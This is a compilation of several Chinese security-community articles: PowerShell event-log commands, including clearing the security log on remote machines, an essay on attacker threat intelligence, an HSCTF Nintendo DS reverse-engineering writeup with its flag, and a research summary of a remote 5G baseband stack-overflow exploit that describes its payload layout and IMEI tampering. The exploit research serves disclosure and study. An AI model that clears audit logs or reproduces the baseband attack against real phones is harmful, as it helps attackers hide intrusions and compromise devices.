关于PowershellV2的关于日志的CmdLet有下面的命令，给大家准备了官方的文档，可以自行研究。
* [Clear-EventLog](https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Clear-EventLog?view=powershell-3.0)
* [Get-EventLog](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1)
* [Get-WinEvent](https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Diagnostics/Get-WinEvent?view=powershell-3.0)
* [Limit-EventLog](https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Limit-EventLog?view=powershell-3.0)
* [New-EventLog](https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/New-EventLog?view=powershell-3.0)
* [Remove-EventLog](https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Remove-EventLog?view=powershell-3.0)
* [Show-EventLog](https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Show-EventLog?view=powershell-3.0)
* [Write-EventLog](https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Write-EventLog?view=powershell-3.0)
### 常见的日志操作
下面介绍一下Powershell中常见的事件日志操作
#### 列出事件日志列表
Get-Eventlog -List
#### 查看security日志
Get-Eventlog -LogName security
#### 列出最近日志
Get-EventLog -LogName security -Newest 5
#### 列出指定时间段内的日志
Get-EventLog -LogName security -After 2017-11-15 -Before 2017-11-17
#### 根据事件ID列出日志
Get-EventLog -LogName security -InstanceId 4624
#### 获取某一条事件日志
通过index获取：
Get-EventLog -LogName system -Index 32324
那么当我们获取到一条日志之后我们就把他完全看作是一个对象了，我们直接对其操作即可，下面是查看日志的一些属性的方法。
##### 查看此条日志的一些属性
$log = Get-EventLog -LogName system -Index 32324
* 类型
$log.EntryType
# Warning
* 事件ID
$log.InstanceId
# 1014
* 日志消息
$log.Message
# 在没有配置的 DNS 服务器响应之后，名称 teredo.ipv6.microsoft.com 的名称解析超时。
* 事件源
$log.Source
# Microsoft-Windows-DNS-Client
* 日志产生时间
$log.TimeGenerated
# 2017年11月17日 21:33:17
* 产生日志的用户
$log.UserName
# NT AUTHORITYNETWORK SERVICE
#### 删除事件日志
##### Remove-Eventlog
这个cmdlet会注销掉事件源
Remove-EventLog -LogName security
仅注销事件源，不删除日志
注销事件源后 app将无法写入事件日志
Remove-EventLog -Source app
##### Clear-Eventlog
这个cmdlet仅会清除日志
Clear-Eventlog -LogName security
# 可以直接远程删除
Clear-Eventlog -LogName security -computername localhost, Server02 | 社区文章 |
#### author：elknot@360corpsec
#### 感谢各位领导们在我工作中的指点和建议
* * *
Never Interrupt Your Enemies When They Making Mistakes —— 题记
麻麻说标题长了才会有人看
* * *
## 0x00 前言
之前说过企业安全建设系列的文章不会再更新了，主要是最近有点累了，但是我发现距离上次更新威胁情报相关的文章已经有一段时间了，所以今天趁着晚上回家被某些事儿烦着，写篇文章静静心。
我们之前讨论过很多有关威胁情报的东西，由于本人不在一个威胁情报业务线供职，所以这一块实际上不像企业安全那边有众所周知的原因。这两天忙着给客户写年度溯源报告，所以在撰写溯源报告的过程中，本人也发现一些新得和收获，下面就来和大家分享一下
## 0x01 攻击者情报对于甲方团队的定位
毫无疑问，很多甲方团队目前还没有相关的意识去大规模部署威胁情报数据，现在玩转威胁情报数据的除了绝大多数乙方安全公司之外，甲方公司对威胁情报感兴趣的根据本人的了解目前只有银行和证券类相关的企业考虑大规模部署威胁情报，本人在11月底有幸参加了微步在线举办的首届威胁情报大会，根据会议内容来看，目前大规模部署威胁情报的企业类型基本上都属于财大气粗型，而且业务跟money相关，无论是微软还是类似于华泰证券（这里插一句，华泰的情报思路走的确实很靠前，这点真的值得笔者学习），这些企业都有如下特征：
* 业务以直接或间接以money为主，而非流量
* 行业本身有着诸多的针对性较强的攻击者（羊毛党、流量劫持等）
* 安全部门内部很强势
* CISO/安全总监有着极强的数据驱动意识
* 内部监控体系和态势感知能力达到一定程度
由于威胁情报分析对于企业应用而言不仅仅是直接调用几个API或者是买点数据就能解决问题，更需要的是面向情报溯源和分析能力的安全研究员和分析师，这些人的能力包括但不限于：
* 日志分析能力
* 数据洞察力
* 安全消息源（路子越野越好）
* 样本浅层次分析能力
* 安全运维能力
但是这种人，很遗憾，真的是少之又少。从数字上可以说明：我统计了在9-11月之前给我投递简历的同学，共计收到相关分析岗位的简历将近330封，其中有240封（占比其实不低了）都是做渗透测试出身的，剩下的简历里面有将近60封是做web安全出身的，除开乱投简历的，剩下的只有8封简历具备这种能力（但是电话面试过感觉能力实际上是不满足的），所以对于情报分析这块，实际上人员很欠缺。
在这里插一段话，我个人认为甲方团队中确实需要一些情报分析师和溯源分析师，因为他们可以很快的给出相对可用的结果，这里的结果包括但不限于攻击者的目的、针对行业、是否是团伙作案、真人、技战术。相反，安全团队建设不应该以攻防能力和对抗能力为核心建立，而是应该以监控合规、安全运营、应急响应、实体分析（这里的实体指的就是针对到某一个人）为基线，穿插红蓝对抗、情报数据、态势感知能力作为辅助，保证整个系统的安全运行。（在这里不想引战，如有异议可以私聊）
扯了这么多似乎偏题了，笔者之前说过威胁情报实际可用的产出目前只有事件型情报和攻击者情报，事件型情报市面上具备该种能力的产品应该有很多了，我这里就不一一赘述了。攻击者情报为什么我要拿出来说呢，因为威胁是人发起的，掌握了人的motivation就能很好的去判断我们是否在under
attack。
感谢目前我正在服务的某位跟我同姓的领导在某次项目进度交流会上点醒了我，针对攻击者的思考的确不应该以攻击者的资产作为唯一的衡量标准，而是要综合多方面考虑，才能对攻击者定性———这其实是一件很痛苦的事儿。对于甲方而言，我们如何去了解攻击者也是一个比较棘手的问题，甲方团队的真实诉求很简单——找到攻击我们的人。用图说话就是：
首先最浅层次的影响是攻击者对业务系统造成的影响，严格意义上来说这里并不属于攻击者情报的组成部分，因为攻击者产生的影响往往局限于本地日志和流量数据，依据本地行为判断很难确定攻击者的真实目的，但是我们可以通过本地的日志和流量分析总结出攻击者的攻击路线和攻击Kill-Chain模型，这样有助于对于第二层攻击者技战术进行分析。
稍微深一点的层次叫做攻击者技战术，这一部分依赖的前端数据仍然是本地和流量的分析，但是这里会增加一部分威胁情报，威胁情报主要数据为工具的指纹、浏览器指纹等偏向于攻击者基础设施的数据。这部分数据主要的目的是为了摸清攻击者的实力、能力、以及我们的对抗成本（甲方安全团队在攻防对抗时首先要考虑的不是如何打赢攻击者，而是要考虑对抗的成本，如果真的跟十多年抗战争一样赢得代价会很惨重，如有必要可以聘请专业的安全服务团队来帮助我们对抗攻击者），这部分情报如果依赖OTX数据和一些简单的开源数据，很难完成或者完整覆盖攻击者的全生命周期，所以在这里更广的数据来源会增加我们对于攻击者的技战术认知，同时也会增加情报的置信度。
再深一点的层次叫做攻击者的目的，也就是说我们要摸清楚攻击者需要对我们造成的影响和他需要达成的目的，相对于攻击者而言，防守方一定要有结果导向意识，一定要了解攻击者所要达成的目的。如果你是一个安全管理员，你发现你们公司的OA系统（当然OA系统不应该对公网开放）总是遭受来自于互联网的DDoS攻击，同时通过网站监测服务监测到了相关的钓鱼网站，那么很有可能攻击者的目的是为了钓鱼域账号，如果通过安全监测发现攻击者正在打你域控的注意，这就说明攻击者准备干票大的了，你必须对这些攻击行为发起反击。在这里，威胁情报的作用主要是对攻击者使用的某些带标记的资产和某些样本进行全网威胁情报的关联，同时将攻击者的目标通过可视化的形式展现出来，攻击者的目的就很明显了，但是这里的情报很有可能是要花钱的。
最深的一层叫做社会政治影响，所谓社会政治影响其实就是指攻击者的社会身份和我们的社会身份，两种社会身份是协同身份还是对立身份，这些将直接影响我们对于攻击者的反应行动和对抗。再举个例子，通过使用攻击者情报溯源获得该攻击者是合规白帽子，通过对日志和流量分析该攻击者行为的结果也是点到为止，那么这个攻击者和我们的社会政治关系则为帮助关系，人家只是想刷个SRC换点粮票，并不会干什么；相反，如果攻击者确确实实影响到了业务系统的正常运转，而且攻击者情报显示该攻击者在网上兜售钓鱼网站，那么该攻击者很有可能是真的要搞瘫痪你的业务系统。
说了这么多，其实甲方对于情报诉求简单来说就是一句话：就是想知道谁出于什么样的目的利用什么手段攻击我们。
* * *
## 0x02 攻击者情报对于乙方的定位
由于本人身在一个乙方公司（但是实际上我的思维是偏向于甲方的）所以如果能够通过这篇文章做了个什么威胁情报的产品出来，请按时支付版权费用（以上内容均为开玩笑）
乙方是去帮甲方解决实际问题的，所以乙方对于威胁情报而言只有两种角色，用数据的和造数据的。
对于造数据的而言，获取足够多的数据总没错，但是数据多了，置信度、存储等问题就会随之而来，更关键的问题是没有人懂得如何去利用这些数据去解决实际的问题，并且很难自动化的去干某些事情，在社会主义初期，能吃饱就是目的，但是到了现在，吃好才是目的，所以乙方团队中的数据生产者更应该考虑的是自己的威胁情报数据对甲方会产生什么样子的积极效益，让甲方爸爸心甘情愿的掏腰包；而乙方团队中的另一个角色则是去真真正正的去一线利用威胁情报为甲方爸爸解决实际的问题，多为安全服务岗位和驻场人员（比如我这种驻场的）。
那么乙方团队如何去把手头现有的数据去加工成有用的数据呢？这个问题我在这里不便多说，因为众所周知的原因哈，说了估计各位领导得打死我。
但是有一点要说明白，威胁情报产品在乙方公司和团队的定位问题，威胁情报应该是个战略级别的产品而非是战术级别的产品，如果一个产品涉及到战略级的问题，时间就要放长远，十年二十年都是有可能的，而战术级别的产品应该是去解决一个实际的问题。并且个人认为威胁情报一定要是一个独立的一级事业部去做，因为只有把整个乙方公司的所有数据聚合起来挖掘，才能展现出更多的利用场景和利用方向，闭锁数据实际上只会拖累发展，造成恶性循环。
p.s.
甲方是不是就不需要去做威胁情报的生产了呢？这个问题我想留到以后去具体回答，结论是需要，因为威胁情报数据在于日常积累和维护，目前自己已经设计了一套完整的威胁情报采集的方案，熟悉我专栏的兄弟们应该知道现在写道0xB了，0xB重在基础安全设施的设计思路，属于吃得饱的阶段，而情报属于吃得好阶段，所以时间会相对延后。
* * *
## 0x03 挖掘攻击者的信息
这里就不藏着掖着了，我这里直接用一个数据结构说明吧：
{
"type":"attacker_intelligence",
"data":
{
{
"intel_type":"attacker_it",
"intel_data":
{
"ip_addr":["127.0.0.1", "192.168.1.1"],
"geo_high_acc":"北京市朝阳区酒仙桥路6号院联发科大厦"，
"access_type":"Enterprise",
"evil_marks":["Botnet", "DNS_BL", "Miral C2"],
"trust_acc":"0.75"
}
},
{
"intel_type":"attacker_identity",
"intel_data":
{
"industry_aimed":["Finacial", "Industry Control", "Energy"],
"attack_techs":["Port Mapping", "Struts Exploit", "Webshell Upload"],
"success_rate":"0.1",
"type_guess":"Mapper",
"kill-chain":
{
{
"type":"Reconnaissance",
"data":["nmap", "awvs"],
"source":["native_logs"],
"trust_acc":"1.00"
}
{
"type":"Weaponization",
"data":["NSA Weapon", "WannaCry"],
"source":["otx_intel"],
"trust_acc":"0.60"
}
{
"type":"Delivery",
"data":["SPAM EMAIL", "SPAM SMS"],
"source":["native_logs"],
"trust_acc":"1.00"
}
{
"type":"Exploitation",
"data":["CVE-2017-0199", "CVE-2017-8464"],
"source":["native_logs", "otx_intelligence"],
"trust_acc":"0.90"
}
{
"type":"Installation",
"data":["msfvenom", "doublepulsar"],
"source":["commercial_intel"],
"trust_acc":"0.85"
}
{
"type":"C&C",
"data":["127.0.0.1:3306", "192.168.1.100:4444"],
"source":["native_logs"],
"trust_acc":"1.00"
}
{
"type":"Actives On Objects",
"data":["psexec", "smb"]
"source":["commerical_intel"],
"trust_acc":"0.70"
}
}
}
},
}
}
话就不多说了，大家都懂为什么。
* * *
## 0x04 总结：
* 情报是个战略级的事情，一定要结合甲乙方公司内部安全建设/产品线规划
* 威胁情报是属于态势感知能力的一种，可以协助安全团队看到更多看不见的东西
* 甲方安全团队对于攻击者威胁情报的诉求：谁为了什么用什么方法搞得我，对我有什么危害
* 乙方安全团队对于攻击者威胁情报的诉求：情报生产者提高攻击者的情报的置信度和可利用程度，情报使用者使用高级攻击者情报帮助客户解决安全问题
* 攻击者情报是一个长期积累的过程，而非是像传统业务线一样做就做不做就砍了
* 攻击者情报瞄准的是攻击者目的、社会政治影响、技战术组合、Kill-Chain模型
* 利用攻击者情报，甲方团队可以更好的通过攻击者的信息来对安全防线查漏补缺
如果有威胁情报相关的想法，欢迎在群里@本人的id或者私聊，本人对于这种交流持欢迎开放的态度。另外我的暗网情报推送服务最近也在测试上线，如果有需求的话也可以私聊联系我。 | 社区文章 |
# hsctf hcsDS题目 writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在今年的hsctf(“High School Capture the
Flag”)里遇到了一个比较少见的nds(任天堂DS)逆向题目,侥幸拿下一血,因为感觉网上整理好的相关资料比较少在这里分享给大家。
## 基本介绍
NDS：任天堂DS，是电玩游戏生产商任天堂公司2004年发售的第三代便携式游戏机。主要的特征包括了双屏幕显示，其中下方的屏幕为触摸屏；并配置有麦克风声音输入装置和
Wi-Fi 无线网络功能。
这里题目提供了一个chall.nds的文件，一个nds的ROM文件,可以在pc上使用模拟器来加载运行,在这里我使用的是DeSmuME模拟器。
## 解题
### 观察题目大致功能
首先我们使用模拟器加载题目,可以看到是一个需要通过三关才能拿到flag的游戏。如下图所示
按下回车后进入第一关
可以看到是要输入数据才可以通过下一关。由于DeSmuME并不能下断进行调试，只能看反汇编和寄存器的值这里我们继续考虑静态分析。
### 静态分析准备
打开IDA发现并不能识别它的架构程序基址等等，这里我在github上搜到了一个nds的IDA loader插件
<https://github.com/EliseZeroTwo/IDA-NDS>
安装插件后即可识别代码。需要注意的是程序中有ARM7和ARM9的代码,如果只识别ARM7则不能在IDA中看到全部函数。插件会弹框告诉你。识别结果如下图。
可以看到识别出了很多的函数，那么下一步就是需要定位到,处理的代码在哪。
这里我们可以通过静态分析或者观察DeSmuME运行时的pc寄存器的值来确定处理数据的代码位置。
### 定位处理代码位置
在进入第一关之后等待输入时,PC的值为2005B24我们在IDA找到这个位置,位于2005AD0这个函数中。猜测这个函数的功能就是获取输入，这里查看其引用发现上层函数只有一个，再查看上层引用如下图(注:其中的stage1
stage2 stage3是我后来改的函数名,原本的程序是没有符号表的)。
我们挨个进入函数查看其功能。在我标记的stage1(0x2000D4C)中发现了这样一段代码。
猜测这里是对我们输入数据的校验。也就是stage1的代码。
再查找stage1的引用定位到函数0x2002e18如下图
猜测接下来的函数是stage2 stage3 后面验证果然如此
### stage1
观察函数执行流程,确定了此处为比较位置
得到正确的输入cuteblueicecube
输入之后进入stage2
### stage2
第二阶段如下图
猜测是点击图片上的字来通过。
继续分析stage2的代码
在其中发现这样一段代码
可以看到之前在stage1中出现的获取输入的函数
确定输入的位数为8位数也就是说应该点击界面上带数字的小方格八次。
继续看下面可以看到有一段进行验证的代码
代码实现了多个方程,对输入进行校验,其中使用的2014DB8为除法。这里使用Z3解方程,解开后将得到的值在屏幕上点击即可进入下一关,由于出题人并不够严谨导致方程有多个解。通过后进入第三关
### stage3
第三阶段走迷宫需要把鸟移到左下角
但在实际中我们移到一半就发现下面有一堵墙,挪不动了,这时候想到小时候玩游戏魂斗罗之类的有作弊码,那作者很有可能也设置了这样的一段代码。这时候我们需要看一下IDA的代码。发现了可疑的一部分，如下图。
猜测这里就是作弊码，接着看代码如何满足条件进入这里。
在这里发现需要v76以一定的顺序执行这几个赋值就可以通过检测。通过看代码可知v76是r4寄存器,而后观察模拟器按键设置
按下QWASZX对应的键位即可让r4寄存器产生我们需要的值,接下来就是确定它的顺序。
v121 == 50 && v117 == 30 && v122 == 60 && v118 == 70 && v120 == 40 && v119==80
最终确定按键顺序为xsazwq
按下后中间的墙壁消失了。小鸟成功走到了右下角。
### final
在通过三个阶段后界面如下图
这里把我们的输入拼接成flag即可,需要注意的是第三阶段需要提交的是任天堂游戏机的真正按键,这里我们根据模拟器键位得到真正的游戏机键位。
最终flag为
flag{cuteblueicecube_1-16-20-6-21-4-16-18_A-X-Y-B-R-L}
由于第二阶段是多解,第二阶段输入为1-16-20-6-21-4-16-18 成功通过
## 小结
题目难点主要是，陌生的架构,以及模拟器不能进行下断调试等(可能有模拟器可以调试?知道的大佬可以提点一下我QAQ) | 社区文章 |
**作者：腾讯安全科恩实验室
原文链接：<https://mp.weixin.qq.com/s/mrUEtSbh7chpuTmHj1C0mQ>**
## 概要
近年来，5G蜂窝网络被广泛应用。设备为了加入5G网络，都必须配备一个5G调制解调器，负责调制信号和执行无线电协议。该组件通常也被称为基带。这些组件非常重要，因为它们负责处理来自无线电网络的不可信数据。在之前的工作中，科恩实验室研究了上一代网络（2G
3G 4G）的安全调制解调器，并实现了远程无接触的0-click代码执行。
本次 **Black Hat USA 2021** ，科恩实验室成员Marco与Xingyu Chen在北京时间8月6日凌晨以线上形式分享了议题
**《基带利用：远程5G智能手机代码执行》**
。该议题探讨了5G网络发生的变化以及安全性方面的改进，并证明了仍然有可能通过无线的方式攻击5G调制解调器完成远程代码执行。
**议题完整白皮书下载见文末**
## 作者简介
**Marco：** 腾讯科恩实验室高级研究员，研究涉猎iOS、Safari、VMWare、基带等多个方向，多次作为核心成员参与Pwn2Own、Mobile
Pwn2Own并获得冠军，多次在国际安全会议上进行演讲，包括Black Hat USA, DEF CON, CanSecWest, ZeroNights,
Codegate, HITB and ShakaCon等。
**Xingyu Chen：**
腾讯科恩实验室安全研究员。主要研究虚拟化和移动安全，曾在不同的云产品和智能手机的低级固件中发现了许多关键漏洞。曾作为A*0*E联合战队选手参加多场CTF比赛，也是DEF
CON 28 CTF 决赛总冠军队伍成员。多次在国内外安全会议上进行演讲，包括OffensiveCon、Zer0Con和Tensec等。
## 1.背景
多年来，5G网络和基带的安全问题一直没有得到全面的讨论。我们之前的工作是研究老一代网络的安全性，并研究了市面上多款调制解调器的实现，安全研究员Amat
Cama也发表了一项关于老一代网络的研究，展示了如何在pwn2own竞赛上成功地攻破三星Shannon基带。来自Comsecuris的研究分析了三星和英特尔基带的安全性。
建议读者将上述这些研究作为理解和熟悉本文的参考。我们也将对研究背景和5G网络的新概念进行简单描述。
## 2.目标介绍
我们购买了当时可用的几款5G智能手机，他们都支持5G中的“New Radio”。 **5G设备区分：** \-非独立模式（NSA）：该模式使用了5G新无线电，并利用了4G网络的其他组件。 \- 独立模式（SA）：该模式完全实现并使用了5G New
Radio和5G网络规范。由于我们认为未来将使用独立模式（SA）作为标准，因此我们决定专注于该模式的研究。
我们的测试设备的SoC为Exynos 980并具有三星Shannon基带。 基带在其自己的ARM
Cortex内核上运行自己的固件和RTOS，与运行Android操作系统的应用处理器 (AP) 分开。
AP和基带可以例如通过PCI-e、共享内存或其他方式进行通信。我们从设备的OTA包中恢复了基带固件。基带固件位于modem.bin二进制文件中。解压并找到加载地址后，我们可以在IDA
Pro中加载它并开始寻找漏洞。
## 3.审计范围和漏洞挖掘
经过一段时间的5G相关代码审计，我们发现了多处漏洞，在此我们选择了其中最稳定的一个来分享，希望您也会通过它对基带当前的安全状态有所认识。在审计调制解调器固件时，我们发现它仍然缺少Stack
cookie保护。因此，考虑到在这种环境中缺乏调试功能，使用传统的栈溢出将使我们的利用更容易。
本文选择的bug是一个栈溢出。它不仅是栈溢出，而且是基带内部XML解析器中的栈溢出。此 XML解析器负责解析从网络到设备调制解调器的IMS消息。
### 3.1 攻击背景
IMS是4G和5G网络中的专用架构，常用的语音呼叫建立在其之上，稍后我们将看到为什么这对本研究很重要。基带是一个IMS客户端，负责处理VoLTE、VoNR消息，因此它必须能够处理SIP消息，IMS服务器使用这些消息与基带进行通信。
**白皮书内查看INVITE消息示例** SIP 是一种基于文本的类似HTTP的协议，包括标头和内容。
接收方（在本文中为基带）需要解析来自服务器的消息。对于不同的消息，内容不仅可以是键值对，还可以是XML格式的文本。XML是一种复杂得多的数据格式，通常由专用库处理。
以上都为基带引入了一个新的攻击面。
### 3.2 漏洞
我们的OTA RCE漏洞在基带的IMS模块。 在解析SIP协议消息的XML内容时，它会调用函数`IMSPL_XmlGetNextTagName` 。
由于我们的目标基带没有调试符号或信息，所以所有的函数名称、类型和函数签名，都是从日志字符串中提取，或是通过逆向工程手动恢复。
我们在这里提供了一个反编译版本，其中省略了一些代码。
int IMSPL_XmlGetNextTagName(char *src, char *dst) {
// 1. Skip space characters
// 2. Find the beginning mark '<'
// 3. Skip comments and closing tag
// omitted code
find_tag_end((char **)v13);
v9 = v13[0];
if (v8 != v13[0]) {
memcpy(dst, (int *)((char *)ptr + 1), v13[0] - v8); // copy tag name to dst
dst[v9 - v8] = 0;
v12 = 10601;
// IMSPL_XmlGetNextTagName: Tag name =
v11 = &log_struct_437f227c;
Logs((int *)&v11, (int)dst, -1, -20071784);
*(unsigned __int8 **)src = v13[0];
LOBYTE(result) = 1;
return (unsigned __int8)result;
}
// omitted code
}
此函数将从src解析XML标记并将其名称复制到dst ，例如`<meta name="viewport" content="width=device-width, initial-scale=1">`到目标缓冲区。接下来，我们展示反编译函数`find_tag_end`（手动命名）并解释它是如何工作的：
char **find_tag_end(char **result) {
char *i; // r1
unsigned int v2; // r3
unsigned int cur_char; // r3
for (i = *result;; ++i) {
cur_char = (unsigned __int8)*i;
if (cur_char <= 0xD && ((1 << cur_char) & 0x2601) != 0) // \0 \t \n \r
break;
v2 = cur_char - 32;
if (v2 <= 0x1F &&
((1 << v2) & (unsigned int)&unk_C0008001) != 0) // space / > ?
break;
}
*result = i;
return result;
}
该函数通过跳过特殊字符来查找标签的结尾，例如空格、‘/’、‘>’、‘?’。在了解整个功能的工作原理后，我们注意到根本没有安全检查。该函数不知道目标缓冲区和源缓冲区有多长。
因此，该函数的所有调用者都可能被传统的缓冲区溢出所利用。通过交叉引用函数`IMSPL_XmlGetNextTagName`,我们发现了数百个调用位置。
它们中的大多数都容易受到攻击，因为源缓冲区是从OTA 消息中获取的，完全由攻击者控制。
## 4\. Exploit
我们选择栈溢出是为了漏洞利用的便捷和可靠。正如我们之前所说，由于没有栈cookie，所以我们可以简单地溢出缓冲区，控制存储在栈上的返回地址，并获得代码执行。
我们终于通过逆向工程找到了一个很好的候选者：
int IMSPL_XmlParser_ContactLstDecode(int *a1, int *a2) {
unsigned __int8 *v4; // r0
int v5; // r1
log_info_s *v7; // [sp+0h] [bp-98h] BYREF
int v8; // [sp+4h] [bp-94h]
unsigned __int8 *v9; // [sp+8h] [bp-90h] BYREF
int v10; // [sp+Ch] [bp-8Ch] BYREF
char v11[136]; // [sp+10h] [bp-88h] BYREF
bzero(v11, 100);
v10 = 0;
v4 = (unsigned __int8 *)*a1;
v8 = 10597;
v9 = v4;
// ------------------%s---------------------- v7 = &log_struct_4380937c;
log_0x418ffa6c(&v7, "IMSPL_XmlParser_ContactLstDecode", -20071784);
if (IMSPL_XmlGetNextTagName((char *)&v9, v11) != 1) {
LABEL_8:
*a1 = (int)v9;
v8 = 10597;
// Function END
v7 = &log_struct_43809448;
log_0x418ffa6c(&v7, -20071784);
return 1;
}
// omitted code
}
我们可以很容易地确认变量v11是栈上大小为100的缓冲区。潜在的栈溢出可能发生在这里。
在临近的函数中也能发现类似的问题，例如`IMSPL_XmlParser_RegLstDecode`，`IMSPL_XmlParser_ContElemChildNodeDecode`。根据函数名，我们可以推断触发的标签应该在元素Contact
List内。通过向上交叉引用函数来总结调用栈并不困难。
IMSPL_XmlParser_RegInfoDecode --> IMSPL_XmlParser_RegInfoElemDecode --> IMSPL_XmlParser_RegLstDecode --> IMSPL_XmlParser_RegistrationElemDecode --> IMSPL_XmlParser_ContactLstDecode
这些函数名称很容易理解。我们可以分辨出变异的payload可以通过SIP协议中的NOTIFY消息传递。
一个能让基带崩溃的简单PoC可以从普通的NOTIFY消息构造。 由于payload是以XML格式发送，因此对payload存在限制。
记得上面提到的find_tag_end函数，它会将标签名中的以下字符列入黑名单：`"\x00\x09\x0a\x0d\x20\x2f\x3e\x3f"`。
因此，在编写ROP链和shellcode时我们不能使用所有可用的字符。除此之外，剩下的是ARM平台上的传统pwnable挑战。
### 4.1 Exploitation Payload
**白皮书内查看详细PoC** 利用点为函数`IMSPL_XmlParser_RegLstDecode`，为了避免在 ROP
执行后修复栈帧，并能让基带仍然正常工作，最好选择一个较深的地方来触发栈溢出。 所以registration中的一个元素标签是个不错的选择。
payload结构：
有效载荷以 100 个字节“A”开头，然后是栈中保存的寄存器 R4-R11，ROP 链从栈中复制 shellcode 并最终跳转到 shellcode
### 4.2 漏洞利用的可视化演示
为了验证我们是否在目标设备上获得了RCE,我们可以检查手机的ADB日志。它将显示有关蜂窝处理器(CP)如何崩溃的信息。然而，这既不是一种方便的方式，也不是一种很好的视觉效果。因此，我们选择通过在基带内执行shellcode来修改设备的IMEI。按照设计,IMEI不应在手机分发后进行修改。当我们报告整个利用链时，这也被视为一个bug。NVRAM是Non
Volatile Memory，用于存储与基带相关的持久化信息。IMEI是存储在基带NVRAM中的一项，但是要修改它的值，首先要知道它的索引。
**白皮书内查看IMSSH_GetImei函数示例**
基带中有多个地方调用函数获取IMEI。可以通过逆向函数GetImei来检索索引。在我们的例子中，IMEI1/2的索引分别是`0x39a4/0x39a5`。有了索引，我们就可以通过在shellcode中调用API
`pal_RegItemWrite_File` 来修改IMEI。
## 5.执行
### 5.1 环境配置
要触发这个 bug，我们需要先搭建一个提供 IMS 服务的网络，然后向基带发送格式错误的短信。 我们的测试环境至少需要一个LTE网络。
虽然它在技术上是一个影响4G和5G的漏洞，但在2020年初，5G的基础设施还没有成熟到足以支持像我们这样的独立研究人员测试其安全性。因此我们决定建立一个支持VoLTE的LTE网络来测试设备。
#### 5.1.1 SDR Choice
作为设置基站的首选硬件，我们选择了Ettus USRP B210，这是一种在研究人员中非常流行的SDR无线电设备。
#### 5.1.2 LTE network setup
我们使用了大量开源组件和硬件来完成我们的测试，以下是一些较为重要的: \- srsENB: 这是srsLTE中的eNodeB实现。
它负责直接无线连接到移动手机(UE)。 \- Open5GS：我们在LTE网络中使用了它的EPC实现。它们是hss、mme、pcrf、pgw、sgw。 \-sysmo-usim-tool&pysim：SIM卡编程工具。 \- CoIMS&CoIMS_Wiki：修改手机IMS设置的工具。 \-docker_open5gs：用于在docker容器中运行具有VoLTE支持的open5gs。
UE能够在适当的LTE网络设置后连接到网络，然后我们可以继续进行IMS服务器设置。在我们的测试中，几乎所有不同厂商的基带对eNodeB的频率都非常敏感。您可以查看设备官方信息以获取其支持的频段，然后为srsENB选择合适的Downlink
EARFCN参数。
### 5.2 IMS server setup & hack
由于该漏洞只能由提供VoIP服务的恶意IMS服务器触发，因此基本的LTE网络不足以触发该漏洞。不幸的是，满足这种需求的基础设施还远未成熟。现有的开源项目Kamailio满足了我们的需求，但还没有在各种设备（包括我们使用的）上进行很好的测试。
需要付出巨大的努力才能使其工作并成功发送有效payload。 VoLTE服务器的基本组件是Rtpengine、FHOSS、P-CSCF、I-CSCF和S-CSCF。 以下是网络拓扑：
SUBNET=172.18.0.0/24
HSS_IP=172.18.0.2
MME_IP=172.18.0.3
SGW_IP=172.18.0.4
PGW_IP=172.18.0.5
PCRF_IP=172.18.0.6
ENB_IP=172.18.0.7
DNS_IP=172.18.0.10
MONGO_IP=172.18.0.11
PCSCF_IP=172.18.0.12
ICSCF_IP=172.18.0.13
SCSCF_IP=172.18.0.14
FHOSS_IP=172.18.0.15
MYSQL_IP=172.18.0.17
RTPENGINE_IP=172.18.0.18
IMS(SIP)消息通过TCP或UDP套接字以IP数据的形式承载。因此,客户端会首先选择IPSec来进行消息传输。XML
payload只能通过NOTIFY消息携带，因此我们的客户端必须成功REGISTER和SUBSCRIBE。
在进行初步的搭建后，一加6（non-IPSec）、Google Pixel
3（IPSec）可以成功注册VoLTE服务，这意味着我们的环境在高通的芯片上能够很好地工作。但是在使用三星芯片的手机上，整个流程会在注册时失败。
但是这些设备能够使用当地运营商的普通SIM卡注册VoLTE，这让我们对修改Kamailio配置和代码充满希望。 首先要做的是在电话上捕获成功的注册流量。
幸运的是，三星的Sysdump Utility中有一个内置的IMS调试工具IMS Logger，它允许我们查看来自应用程序的IMS流量。
下面是一个正常的注册消息及其响应：
REGISTER
message
Server
responses with challenge to the UE
Failed
registration response
Kamailio和本地运营商之间存在一些差异。 我们并不真正知道哪个字段是注册失败的关键。 我们方法是让它们看起来尽可能相似。
在对Kamailio进行了一些更改后，我们取得了一点进展，我们收到了第二条注册消息。 那么问题就到了服务器端，它并没有提供STATUS 200响应。
经过调查，我们发现服务器和客户端之间的IPSec不一致。 我们决定从服务器端强制禁用IPSec。以下是我们打的补丁：
Patch
to remove IPSec related headers
Part
of the cfg patch
#### 5.2.1参考
[VoLTE/IMS Debugging on Samsung Handsets using Sysdump \& Samsung IMS
Logger](https://nickvsnetworking.com/volte-ims-debugging-on-samsung-handsets-using-sysdump-samsung-ims-logger/) [Reverse Engineering Samsung Sysdump Utils
to Unlock IMS Debug \& TCPdump on Samsung
Phones](https://nickvsnetworking.com/reverse-engineering-samsung-sysdump-utils-to-unlock-ims-debug-tcpdump-on-samsung-phones/)
### 5.3. Payload Delivery
一旦UE注册并订阅到SIP服务器，服务器将发送NOTIFY消息以提供网络中的基本信息，比如其他UE的联系方式等。而payload会以XML的格式存在于NOTIFY消息中。该消息的负责模块是S-CSCF。这是要修改以生成任意有效payload的函数：
str generate_reginfo_full(udomain_t* _t, str* impu_list, int num_impus, str *explit_dereg_contact, int num_explit_dereg_contact, unsigned int reginfo_version);
## 6.结论
在这项研究中，我们展示了下一代Android设备配备的5G基带安全状态。尽管在网络功能方面已经发生了演变，但我们看到在安全性方面仍然没有过多进步。正如我们实际上已经展示的那样，一些基带缺乏最基本的安全措施，例如栈cookie保护，这让攻击者能够使用缓冲区溢出等简单攻击无线攻击它们。我们在三年前进行过安全研究，但是至今情况似乎没有太大改善。
我们希望在三年后我们可以再次展示一些研究，在一个更加严格的环境中。
